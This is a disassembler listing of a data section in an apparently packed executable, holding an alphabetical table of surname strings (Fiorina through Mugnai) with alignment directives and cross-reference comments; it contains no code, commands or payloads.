aFiorina	db 'Fiorina',0          ; DATA XREF: .packed:0044736Co
aFisk		db 'Fisk',0             ; DATA XREF: .packed:00447370o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .packed:00447374o
aFlier		db 'Flier',0            ; DATA XREF: .packed:00447378o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .packed:0044737Co
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .packed:00447380o
		align 4
aForester	db 'Forester',0         ; DATA XREF: .packed:00447384o
		align 4
aFortes		db 'Fortes',0           ; DATA XREF: .packed:00447388o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: .packed:0044738Co
aFossey		db 'Fossey',0           ; DATA XREF: .packed:00447390o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: .packed:00447394o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .packed:00447398o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .packed:0044739Co
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .packed:004473A0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .packed:004473A4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .packed:004473A8o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .packed:004473ACo
		align 10h
aFried		db 'Fried',0            ; DATA XREF: .packed:004473B0o
		align 4
aFriedland	db 'Friedland',0        ; DATA XREF: .packed:004473B4o
		align 4
aFrisken	db 'Frisken',0          ; DATA XREF: .packed:004473B8o
aFrowiss	db 'Frowiss',0          ; DATA XREF: .packed:004473BCo
aFryberger	db 'Fryberger',0        ; DATA XREF: .packed:004473C0o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: .packed:004473C4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .packed:004473C8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .packed:004473CCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .packed:004473D0o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .packed:004473D4o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .packed:004473D8o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .packed:004473DCo
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .packed:004473E0o
		align 10h
aGalwey		db 'Galwey',0           ; DATA XREF: .packed:004473E4o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .packed:004473E8o
aGarfield	db 'Garfield',0         ; DATA XREF: .packed:004473ECo
		align 4
aGarman		db 'Garman',0           ; DATA XREF: .packed:004473F0o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .packed:004473F4o
aGeller		db 'Geller',0           ; DATA XREF: .packed:004473F8o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .packed:004473FCo
		align 10h
aGeorgi		db 'Georgi',0           ; DATA XREF: .packed:00447400o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .packed:00447404o
aGhorai		db 'Ghorai',0           ; DATA XREF: .packed:00447408o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .packed:0044740Co
aGibson		db 'Gibson',0           ; DATA XREF: .packed:00447410o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .packed:00447414o
aGili		db 'Gili',0             ; DATA XREF: .packed:00447418o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .packed:0044741Co
		align 10h
aGillispie	db 'Gillispie',0        ; DATA XREF: .packed:00447420o
		align 4
aGist		db 'Gist',0             ; DATA XREF: .packed:00447424o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .packed:00447428o
aGlegg		db 'Glegg',0            ; DATA XREF: .packed:0044742Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .packed:00447430o
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .packed:00447434o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .packed:00447438o
		align 4
aGood		db 'Good',0             ; DATA XREF: .packed:0044743Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .packed:00447440o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .packed:00447444o
		align 10h
aGozzi		db 'Gozzi',0            ; DATA XREF: .packed:00447448o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .packed:0044744Co
aGreenberg	db 'Greenberg',0        ; DATA XREF: .packed:00447450o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .packed:00447454o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .packed:00447458o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .packed:0044745Co
		align 10h
aGrummell	db 'Grummell',0         ; DATA XREF: .packed:00447460o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .packed:00447464o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .packed:00447468o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .packed:0044746Co
		align 4
aGunn		db 'Gunn',0             ; DATA XREF: .packed:00447470o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: .packed:00447474o
aHa		db 'Ha',0               ; DATA XREF: .packed:00447478o
		align 4
aHaar		db 'Haar',0             ; DATA XREF: .packed:0044747Co
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: .packed:00447480o
					; .packed:00454998o
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .packed:00447484o
		align 4
aHaley		db 'Haley',0            ; DATA XREF: .packed:00447488o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .packed:0044748Co
aHallowell	db 'Hallowell',0        ; DATA XREF: .packed:00447490o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: .packed:00447494o
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .packed:00447498o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .packed:0044749Co
		align 10h
aHammerness	db 'Hammerness',0       ; DATA XREF: .packed:004474A0o
		align 4
aHand		db 'Hand',0             ; DATA XREF: .packed:004474A4o
		align 4
aHanssen	db 'Hanssen',0          ; DATA XREF: .packed:004474A8o
aHarding	db 'Harding',0          ; DATA XREF: .packed:004474ACo
aHargraves	db 'Hargraves',0        ; DATA XREF: .packed:004474B0o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: .packed:004474B4o
		align 4
aHarrigan	db 'Harrigan',0         ; DATA XREF: .packed:004474B8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .packed:004474BCo
aHartmann	db 'Hartmann',0         ; DATA XREF: .packed:004474C0o
		align 4
aHartnett	db 'Hartnett',0         ; DATA XREF: .packed:004474C4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .packed:004474C8o
aHaviaras	db 'Haviaras',0         ; DATA XREF: .packed:004474CCo
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .packed:004474D0o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: .packed:004474D4o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .packed:004474D8o
		align 10h
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .packed:004474DCo
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: .packed:004474E0o
		align 4
aHeft		db 'Heft',0             ; DATA XREF: .packed:004474E4o
		align 10h
aHeiland	db 'Heiland',0          ; DATA XREF: .packed:004474E8o
aHellman	db 'Hellman',0          ; DATA XREF: .packed:004474ECo
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .packed:004474F0o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .packed:004474F4o
aHemphill	db 'Hemphill',0         ; DATA XREF: .packed:004474F8o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: .packed:004474FCo
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .packed:00447500o
		align 4
aHernandez	db 'Hernandez',0        ; DATA XREF: .packed:00447504o
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: .packed:00447508o
aHester		db 'Hester',0           ; DATA XREF: .packed:0044750Co
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: .packed:00447510o
aHeyeck		db 'Heyeck',0           ; DATA XREF: .packed:00447514o
		align 10h
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .packed:00447518o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .packed:0044751Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .packed:00447520o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .packed:00447524o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .packed:00447528o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: .packed:0044752Co
		align 4
aHoffer		db 'Hoffer',0           ; DATA XREF: .packed:00447530o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: .packed:00447534o
aHokanson	db 'Hokanson',0         ; DATA XREF: .packed:00447538o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .packed:0044753Co
		align 4
aHolmes		db 'Holmes',0           ; DATA XREF: .packed:00447540o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .packed:00447544o
aHolter		db 'Holter',0           ; DATA XREF: .packed:00447548o
		align 4
aHolway		db 'Holway',0           ; DATA XREF: .packed:0044754Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .packed:00447550o
aHooker		db 'Hooker',0           ; DATA XREF: .packed:00447554o
		align 4
aHopkins	db 'Hopkins',0          ; DATA XREF: .packed:00447558o
aHorsley	db 'Horsley',0          ; DATA XREF: .packed:0044755Co
aHoshida	db 'Hoshida',0          ; DATA XREF: .packed:00447560o
aHostage	db 'Hostage',0          ; DATA XREF: .packed:00447564o
aHottle		db 'Hottle',0           ; DATA XREF: .packed:00447568o
		align 4
aHoward		db 'Howard',0           ; DATA XREF: .packed:0044756Co
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .packed:00447570o
aHuey		db 'Huey',0             ; DATA XREF: .packed:00447574o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .packed:00447578o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .packed:0044757Co
		align 10h
aHuntington	db 'Huntington',0       ; DATA XREF: .packed:00447580o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: .packed:00447584o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .packed:00447588o
		align 10h
aHutchings	db 'Hutchings',0        ; DATA XREF: .packed:0044758Co
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: .packed:00447590o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .packed:00447594o
		align 10h
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .packed:00447598o
		align 4
aIgarashi	db 'Igarashi',0         ; DATA XREF: .packed:0044759Co
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .packed:004475A0o
aInniss		db 'Inniss',0           ; DATA XREF: .packed:004475A4o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .packed:004475A8o
		align 10h
aIsaievych	db 'Isaievych',0        ; DATA XREF: .packed:004475ACo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: .packed:004475B0o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .packed:004475B4o
		align 10h
aIyer		db 'Iyer',0             ; DATA XREF: .packed:004475B8o
		align 4
aJacenko	db 'Jacenko',0          ; DATA XREF: .packed:004475BCo
aJackson	db 'Jackson',0          ; DATA XREF: .packed:004475C0o
aJagers		db 'Jagers',0           ; DATA XREF: .packed:004475C4o
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: .packed:004475C8o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .packed:004475CCo
		align 10h
aJain		db 'Jain',0             ; DATA XREF: .packed:004475D0o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .packed:004475D4o
		align 10h
aJanjigian	db 'Janjigian',0        ; DATA XREF: .packed:004475D8o
		align 4
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .packed:004475DCo
		align 4
aJarrell	db 'Jarrell',0          ; DATA XREF: .packed:004475E0o
aJay		db 'Jay',0              ; DATA XREF: .packed:004475E4o
aJeffers	db 'Jeffers',0          ; DATA XREF: .packed:004475E8o
aJellis		db 'Jellis',0           ; DATA XREF: .packed:004475ECo
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .packed:004475F0o
aJespersen	db 'Jespersen',0        ; DATA XREF: .packed:004475F4o
		align 4
aJewett		db 'Jewett',0           ; DATA XREF: .packed:004475F8o
		align 10h
aJohannesson	db 'Johannesson',0      ; DATA XREF: .packed:004475FCo
aJohannsen	db 'Johannsen',0        ; DATA XREF: .packed:00447600o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .packed:00447604o
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: .packed:00447608o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .packed:0044760Co
		align 4
aJucks		db 'Jucks',0            ; DATA XREF: .packed:00447610o
		align 4
aJuliano	db 'Juliano',0          ; DATA XREF: .packed:00447614o
aJulious	db 'Julious',0          ; DATA XREF: .packed:00447618o
aKabbash	db 'Kabbash',0          ; DATA XREF: .packed:0044761Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .packed:00447620o
		align 10h
aKafadar	db 'Kafadar',0          ; DATA XREF: .packed:00447624o
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .packed:00447628o
aKaligian	db 'Kaligian',0         ; DATA XREF: .packed:0044762Co
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: .packed:00447630o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .packed:00447634o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .packed:00447638o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: .packed:0044763Co
					; .packed:off_44A5CCo
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .packed:00447640o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .packed:00447644o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: .packed:00447648o
		align 4
aKasten		db 'Kasten',0           ; DATA XREF: .packed:0044764Co
		align 4
aKawachi	db 'Kawachi',0          ; DATA XREF: .packed:00447650o
aKee		db 'Kee',0              ; DATA XREF: .packed:00447654o
aKeenan		db 'Keenan',0           ; DATA XREF: .packed:00447658o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: .packed:0044765Co
aKeith		db 'Keith',0            ; DATA XREF: .packed:00447660o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: .packed:00447664o
		align 4
aKelsey		db 'Kelsey',0           ; DATA XREF: .packed:00447668o
		align 10h
aKempton	db 'Kempton',0          ; DATA XREF: .packed:0044766Co
aKemsley	db 'Kemsley',0          ; DATA XREF: .packed:00447670o
aKendall	db 'Kendall',0          ; DATA XREF: .packed:00447674o
aKerry		db 'Kerry',0            ; DATA XREF: .packed:00447678o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: .packed:0044767Co
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .packed:00447680o
		align 10h
aKimmel		db 'Kimmel',0           ; DATA XREF: .packed:00447684o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .packed:00447688o
aKimura		db 'Kimura',0           ; DATA XREF: .packed:0044768Co
		align 4
aKindall	db 'Kindall',0          ; DATA XREF: .packed:00447690o
aKinsley	db 'Kinsley',0          ; DATA XREF: .packed:00447694o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .packed:00447698o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .packed:0044769Co
aKittridge	db 'Kittridge',0        ; DATA XREF: .packed:004476A0o
		align 4
aKleckner	db 'Kleckner',0         ; DATA XREF: .packed:004476A4o
		align 4
aKleiman	db 'Kleiman',0          ; DATA XREF: .packed:004476A8o
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .packed:004476ACo
aKlemperer	db 'Klemperer',0        ; DATA XREF: .packed:004476B0o
		align 4
aKling		db 'Kling',0            ; DATA XREF: .packed:004476B4o
		align 10h
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .packed:004476B8o
aKlint		db 'Klint',0            ; DATA XREF: .packed:004476BCo
		align 4
aKnuff		db 'Knuff',0            ; DATA XREF: .packed:004476C0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: .packed:004476C4o
aKoch		db 'Koch',0             ; DATA XREF: .packed:004476C8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: .packed:004476CCo
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .packed:004476D0o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: .packed:004476D4o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: .packed:004476D8o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .packed:004476DCo
		align 4
aKool		db 'Kool',0             ; DATA XREF: .packed:004476E0o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .packed:004476E4o
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: .packed:004476E8o
		align 4
aKovaks		db 'Kovaks',0           ; DATA XREF: .packed:004476ECo
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: .packed:004476F0o
aKrailo		db 'Krailo',0           ; DATA XREF: .packed:004476F4o
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: .packed:004476F8o
aKraus		db 'Kraus',0            ; DATA XREF: .packed:004476FCo
		align 10h
aKroemer	db 'Kroemer',0          ; DATA XREF: .packed:00447700o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .packed:00447704o
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .packed:00447708o
aKumar		db 'Kumar',0            ; DATA XREF: .packed:0044770Co
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: .packed:00447710o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .packed:00447714o
		align 4
aLa		db 'La',0               ; DATA XREF: .packed:00447718o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .packed:0044771Co
aLafler		db 'Lafler',0           ; DATA XREF: .packed:00447720o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .packed:00447724o
		align 10h
aLallemant	db 'Lallemant',0        ; DATA XREF: .packed:00447728o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: .packed:0044772Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .packed:00447730o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .packed:00447734o
		align 4
aLanzit		db 'Lanzit',0           ; DATA XREF: .packed:00447738o
		align 10h
aLaserna	db 'Laserna',0          ; DATA XREF: .packed:0044773Co
aLashley	db 'Lashley',0          ; DATA XREF: .packed:00447740o
aLawless	db 'Lawless',0          ; DATA XREF: .packed:00447744o
aLecar		db 'Lecar',0            ; DATA XREF: .packed:00447748o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: .packed:0044774Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: .packed:00447750o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .packed:00447754o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: .packed:00447758o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .packed:0044775Co
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: .packed:00447760o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .packed:00447764o
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: .packed:00447768o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .packed:0044776Co
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: .packed:00447770o
		align 4
aLight		db 'Light',0            ; DATA XREF: .packed:00447774o
		align 10h
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .packed:00447778o
		align 4
aLim		db 'Lim',0              ; DATA XREF: .packed:0044777Co
aLinares	db 'Linares',0          ; DATA XREF: .packed:00447780o
aLinda		db 'Linda',0            ; DATA XREF: .packed:00447784o
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: .packed:00447788o
		align 4
aLine_0		db 'Line',0             ; DATA XREF: .packed:0044778Co
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: .packed:00447790o
aLinzee		db 'Linzee',0           ; DATA XREF: .packed:00447794o
		align 10h
aLippmann	db 'Lippmann',0         ; DATA XREF: .packed:00447798o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: .packed:0044779Co
		align 4
aLittle		db 'Little',0           ; DATA XREF: .packed:004477A0o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: .packed:004477A4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: .packed:004477A8o
		align 4
aLivi		db 'Livi',0             ; DATA XREF: .packed:004477ACo
		align 4
aLivolsi	db 'Livolsi',0          ; DATA XREF: .packed:004477B0o
aLizardo	db 'Lizardo',0          ; DATA XREF: .packed:004477B4o
aLocatelli	db 'Locatelli',0        ; DATA XREF: .packed:004477B8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: .packed:004477BCo
		align 4
aLoss		db 'Loss',0             ; DATA XREF: .packed:004477C0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: .packed:004477C4o
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .packed:004477C8o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: .packed:004477CCo
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .packed:004477D0o
		align 10h
aLucas		db 'Lucas',0            ; DATA XREF: .packed:004477D4o
		align 4
aLuciano	db 'Luciano',0          ; DATA XREF: .packed:004477D8o
aLuczkow	db 'Luczkow',0          ; DATA XREF: .packed:004477DCo
aLuecke		db 'Luecke',0           ; DATA XREF: .packed:004477E0o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: .packed:004477E4o
aLuoma		db 'Luoma',0            ; DATA XREF: .packed:004477E8o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: .packed:004477ECo
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .packed:004477F0o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .packed:004477F4o
aMa		db 'Ma',0               ; DATA XREF: .packed:004477F8o
		align 10h
aMaccormac	db 'Maccormac',0        ; DATA XREF: .packed:004477FCo
		align 4
aMacdonald	db 'Macdonald',0        ; DATA XREF: .packed:00447800o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: .packed:00447804o
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: .packed:00447808o
		align 10h
aMackenney	db 'Mackenney',0        ; DATA XREF: .packed:0044780Co
		align 4
aMacmillan	db 'MacMillan',0        ; DATA XREF: .packed:00447810o
		align 4
aMacy		db 'Macy',0             ; DATA XREF: .packed:00447814o
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: .packed:00447818o
aMaggio		db 'Maggio',0           ; DATA XREF: .packed:0044781Co
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: .packed:00447820o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: .packed:00447824o
		align 10h
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: .packed:00447828o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: .packed:0044782Co
aMalatesta	db 'Malatesta',0        ; DATA XREF: .packed:00447830o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: .packed:00447834o
		align 4
aMalova		db 'Malova',0           ; DATA XREF: .packed:00447838o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: .packed:0044783Co
aMandel		db 'Mandel',0           ; DATA XREF: .packed:00447840o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: .packed:00447844o
aMantovan	db 'Mantovan',0         ; DATA XREF: .packed:00447848o
		align 4
aMarch_0	db 'March',0            ; DATA XREF: .packed:0044784Co
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: .packed:00447850o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: .packed:00447854o
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: .packed:00447858o
		align 4
aMargetts	db 'Margetts',0         ; DATA XREF: .packed:0044785Co
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: .packed:00447860o
aMartinez	db 'Martinez',0         ; DATA XREF: .packed:00447864o
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: .packed:00447868o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: .packed:0044786Co
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: .packed:00447870o
		align 4
aMass		db 'Mass',0             ; DATA XREF: .packed:00447874o
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: .packed:00447878o
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: .packed:0044787Co
		align 10h
aMatsukata	db 'Matsukata',0        ; DATA XREF: .packed:00447880o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: .packed:00447884o
aMauzy		db 'Mauzy',0            ; DATA XREF: .packed:00447888o
		align 4
aMay_0		db 'May',0              ; DATA XREF: .packed:0044788Co
aMazzali	db 'Mazzali',0          ; DATA XREF: .packed:00447890o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .packed:00447894o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .packed:00447898o
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .packed:0044789Co
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .packed:004478A0o
		align 10h
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .packed:004478A4o
		align 4
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .packed:004478A8o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .packed:004478ACo
aMcfadden	db 'McFadden',0         ; DATA XREF: .packed:004478B0o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: .packed:004478B4o
		align 4
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .packed:004478B8o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: .packed:004478BCo
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .packed:004478C0o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .packed:004478C4o
aMclane		db 'Mclane',0           ; DATA XREF: .packed:004478C8o
		align 4
aMclaren	db 'Mclaren',0          ; DATA XREF: .packed:004478CCo
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .packed:004478D0o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .packed:004478D4o
aMeccariello	db 'Meccariello',0      ; DATA XREF: .packed:004478D8o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .packed:004478DCo
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .packed:004478E0o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .packed:004478E4o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .packed:004478E8o
aMerminod	db 'Merminod',0         ; DATA XREF: .packed:004478ECo
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: .packed:004478F0o
aMerz		db 'Merz',0             ; DATA XREF: .packed:004478F4o
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: .packed:004478F8o
aMetropolis	db 'Metropolis',0       ; DATA XREF: .packed:004478FCo
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: .packed:00447900o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: .packed:00447904o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .packed:00447908o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: .packed:0044790Co
		align 4
aMills		db 'Mills',0            ; DATA XREF: .packed:00447910o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: .packed:00447914o
		align 4
aMini		db 'Mini',0             ; DATA XREF: .packed:00447918o
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: .packed:0044791Co
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .packed:00447920o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .packed:00447924o
aMittal		db 'Mittal',0           ; DATA XREF: .packed:00447928o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .packed:0044792Co
aModestino	db 'Modestino',0        ; DATA XREF: .packed:00447930o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: .packed:00447934o
aMohr		db 'Mohr',0             ; DATA XREF: .packed:00447938o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .packed:0044793Co
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .packed:00447940o
		align 10h
aMontilio	db 'Montilio',0         ; DATA XREF: .packed:00447944o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .packed:00447948o
		align 4
aMorani		db 'Morani',0           ; DATA XREF: .packed:0044794Co
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: .packed:00447950o
aMorrison	db 'Morrison',0         ; DATA XREF: .packed:00447954o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .packed:00447958o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: .packed:0044795Co
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .packed:00447960o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: .packed:00447964o
		align 4
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .packed:00447968o
		align 4
aMotooka	db 'Motooka',0          ; DATA XREF: .packed:0044796Co
aMudarri	db 'Mudarri',0          ; DATA XREF: .packed:00447970o
aMuello		db 'Muello',0           ; DATA XREF: .packed:00447974o
		align 4
aMugnai		db 'Mugnai',0           ; DATA XREF: .packed:00447978o
